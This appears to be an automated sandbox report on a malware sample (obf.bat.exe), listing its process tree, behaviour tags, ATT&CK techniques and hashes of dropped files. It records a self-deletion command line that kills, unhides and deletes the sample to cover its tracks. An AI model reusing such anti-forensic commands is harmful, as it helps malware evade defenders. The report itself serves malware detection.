- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{2d69116e-a59e-4924-9d8c-1d2210197be9}4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5168
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{aaf461c0-4ad8-4088-ac4a-4f124ba99aaf}4⤵PID:3948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe" & exit4⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4532 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:3956
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:852
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe"5⤵
- Kills process with taskkill
PID:4816
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\obf.bat.exe"5⤵
- Views/modifies file attributes
PID:4812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3376
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3712
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3776
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3872
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:1620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1548
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:5712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4552
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1680
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:6016
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2816
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2120 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 884 -ip 8842⤵PID:6108
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 3620 -ip 36202⤵PID:2312
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 648 -p 2308 -ip 23082⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:908
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 4120 -ip 41202⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- System Location Discovery: System Language Discovery
PID:2904
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Hide Artifacts
2Hidden Files and Directories
1Hidden Window
1Indicator Removal
1Clear Windows Event Logs
1Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.11697816-6414-4afe-a035-2d5eccd81956.tmp.txt
- Size 13KB
- SHA256 907c52062ffe634b49bd87dd725cc5487bd3a573476f372e7254b4381dc8459e
- MD5 c73028eaa8872fe02e05214ed0af672f
- SHA1 68a6ad2e8a014287ff70bb7e6d7045dafcf7c8ba
- SHA512 9f4915febf6f830c75de9d909cf85e20a11f8351657948638a06fcdcea7f0f5ff16640b04c25eaf8f66fd9d4a4597750e6165e1d86eecc2584568f7dd062910b
- SSDEEP 96:4iefhXxRkaTony5YSYCWOHjYEZq/t4iyFBKQPwgkLaUvRbMYBuIS53:NefxBh1MISaUvRbMYB5S53
- TLSH T18D52715616E80309F6F75E48A5F020A55763F872AE39CA4D00DE130E87E3E42D865FA7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.29f27be5-ff75-4818-be11-e029fdc11f62.tmp.csv
- Size 39KB
- SHA256 37305db9c8b3292718436875c44314cc1f1569a48cbc6973599e5b0029c22ae3
- MD5 c859094b643fd2a34ce306e374234ceb
- SHA1 6a8ae61f9732993c76583f48d0bb5f27dfa3acee
- SHA512 35854afa87f3729292e54d4623671d4ec206e2486ef5927f229079745f70dcf5ca7e408f9277dbec20effc4e23dd0d3a21f3b9ff06c4a407ea69004c8141066d
- SSDEEP 768:zDQ2pkc36v9D3HxJlwbHc2SJNEHW7Qbp6iyGQQEqr8J4nXqa1AdVYk:PQ2r361DBiH34+WJOQQJ8J46a1s
- TLSH T1DD03233ECEE9023FC2B6DA1CC4EA4A17F859A453361DED4D94C3678A8557583BCD022E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.3c818efc-9862-49db-8890-2ead1eb23031.tmp.csv
- Size 39KB
- SHA256 a51fa36948399a4b2d9c1bac3629828a6dd88f2b1cd8660332e2862ddd5f6d44
- MD5 ba9c9baef7f56e532e0aa77b89ded6e7
- SHA1 2311b1e897105bda990eed62817667547f05f306
- SHA512 922e22c08bbcc12ce0abeb02dd90d75e13c1eb8a45fead1d7bb5e2183ae6a6638dc1c1e7fec6a2edf4d0203e0b2cafa2215b88c902683f8ecd29e529a675fa64
- SSDEEP 768:zU4apklvKGAWuooHcIlOkDc5mLNQLPhhOWSy2NJy:44aivKs3oHYkw4Q73OWSyH
- TLSH T1EE03143ECEE9023FC2B6DA1CC8D64617F859A453361EED4DA4C3678A8557583BCD022E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.49fe6359-76f9-4306-9c9a-ffb4753e5f0a.tmp.csv
- Size 40KB
- SHA256 ca1b1b2150e993828787ea03189cd89f400bdee0278ab675dfc5e02c67c2481c
- MD5 21b20ea3eb9334912067e4f183de73e7
- SHA1 c0aab39f0b64110306ff70fe1f126f9c1a32e410
- SHA512 b8a9df7fb6994ea76f046f180be10084d193d1845f990cc0931fb59810c719bae38f561c71e81f28fbe2dd515e34c72faf6e08a85ed254efc086d5ff9eec88bb
- SSDEEP 768:z15+pkR3BEk0DoHc7lL5sOXp6IstiAbMwmLImH:55+u3z6oHk5PX8tiHwm8mH
- TLSH T12203233ECEED023FC2B6DA18C4D64A17F859A453361DED4DA4C3678A8557683BCD022E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.4e4d5d06-ec0d-4279-b06a-8fdf2718e4a8.tmp.txt
- Size 13KB
- SHA256 5f542ead03788d1a136fbc1d83e3c76c307fce444ea27d732a6fc6336bc04496
- MD5 81d2a21ae8d42a6fd06af04fde1b5944
- SHA1 45c58bf3d166e15ea55d5bba6f21e1faf3cbb532
- SHA512 a5c444c5a0517ad4a7a128aea88c3d3f2fcf9ac89253e22c01e120dad01ad1c1ee561e396c783a38678dd477435987c4c9ec3d185204e6cdffb67c7ffeb01c0c
- SSDEEP 96:4iefhiFDKXoHYtYwWLVHXYEZOvt4iZF6QTwFuxya1lfM+BlIZM3:NefoK6uy7a1lfM+B6ZM3
- TLSH T1DB52605616F80359F6F75E88A5F020A18763F872AE39CA4D00DE134E87E3E41D865FA7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.4f3c365c-f70a-4ff7-a96e-891a96f1b61c.tmp.txt
- Size 13KB
- SHA256 9513ca66e3eb5a524a89f78adec3eea0e7aaf4473cc57780d9f2e5b01aa29051
- MD5 e4a5501fe74442e42168a74d99ec4745
- SHA1 aa1af555199ffb977997bcd0f12c1efe8c7dce77
- SHA512 63135a7444e75be1754dc30782cabf105164408761b29ef2838fd1b78b523352ec3e574c7550727ceb19b2ee1bb177f4ae9b08ad85b3e72d8c31938c8347d3c5
- SSDEEP 96:4iefhV9ooovY5cDYzuW4HpYEZHSt4i+F1Qfw+u1TaahhMeBlIPM3:Nef0EcDV+2aahhMeB6PM3
- TLSH T183526F5616E80349F6F75E88A5F020A54763F872AF39CA4D01DE130E47E3E42D866FA7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.5b5aeba4-db43-4768-a724-2a1988931cbf.tmp.csv
- Size 37KB
- SHA256 93069177608c90e3edbb9e56b858fb07d9459fca6c3ebeb2aa2e4195a591c7dd
- MD5 efdecc21fbe6aaa02aa5a281859702b4
- SHA1 44ee7ea1c645056ded174856aaff8ca8dd1d520a
- SHA512 4da7f156e378d0561a402215a37a05d3500cc0c0e330a1613b6c6f83ad83c8e2262f25be05301a54ab6cf0bec41e7b627aff7333f2bfad02fbb228669be780ff
- SSDEEP 768:zPRYpkXCv9D3oxJlwcHc2SJNESW7QCp6iyGQQEqr8+ZJykVwJj:TRYYC1D0FH34LWWOQQJ8+Pg
- TLSH T15903333ECEED023FC2B6DA18C4E64A07F899A453361DED5D94C3678A8557583BCD022E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.b1dfc8e7-a241-48cf-8af2-4b535f554a75.tmp.txt
- Size 13KB
- SHA256 9283b78a00ddf0c8309f61a4c8763389a78f6d9c353263a664d33af337360e5a
- MD5 276f571a54f26f73ebc1b381e2d32af4
- SHA1 778c75544114a0e5fbd27052f1cf41fc7614d8ca
- SHA512 265f69d903b9afc55360643bdf7a1b0ae24c5ae03b3060dd9a6b4411aea5189e06e4eef1c3e0b4165b10cd564f32cf776532ee28c53784f7250143f1e7d80dd4
- SSDEEP 96:4iefxQpYnPCoaYPYTWOHEYEZUF9t4iHCFEQ+w6ZKaNubMWBZIAV3:Nef242F7kaNubMWBGAV3
- TLSH T1F452815616E80359F2F75E84A5F020A54763F872AF39CA4D01DE130E87E3E42D865FA7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 61KB
- SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
- MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
- SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
- SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
- SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
- TLSH T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2hn4ghn.o2d.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\obf.bat.exe
- Size 440KB
- SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
- MD5 0e9ccd796e251916133392539572a374
- SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
- SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
- SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
- TLSH T191A45A876B9412D1EC3EC035D82744520721BCBED791A7EF99D8F2390E712D0993EA6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\$sxr-cmd.exe
- Size 324KB
- SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
- MD5 c5db7b712f280c3ae4f731ad7d5ea171
- SHA1 e8717ff0d40e01fd3b06de2aa5a401bed1c907cc
- SHA512 bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89
- SSDEEP 6144:wh6/6DOyYSltqYDQjHpUWIcz5ROTOhM111uq9iRUaaUga4m1:p/6yL4qfjHpUBKfAO61Tb494
- TLSH T1EC64495E639828E5E927913DC903C121D6B23C35632192EF12D0CD7B7F63AE97A39B05
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\$sxr-mshta.exe
- Size 32KB
- SHA256 4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e
- MD5 356e04e106f6987a19938df67dea0b76
- SHA1 f2fd7cde5f97427e497dfb07b7f682149dc896fb
- SHA512 df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd
- SSDEEP 192:FXr2qjWSWvrCpspQlu/ZwvdlC5EY/S99PXWwKLIR:FXFL0WpsdZdY9/WwK
- TLSH T12DE2D686B35744BAED2E4235446B4645A235BD210B112BFF30B0B67E2F32BD2BD32794
- MD5 SHA1 SHA512 SSDEEP TLSH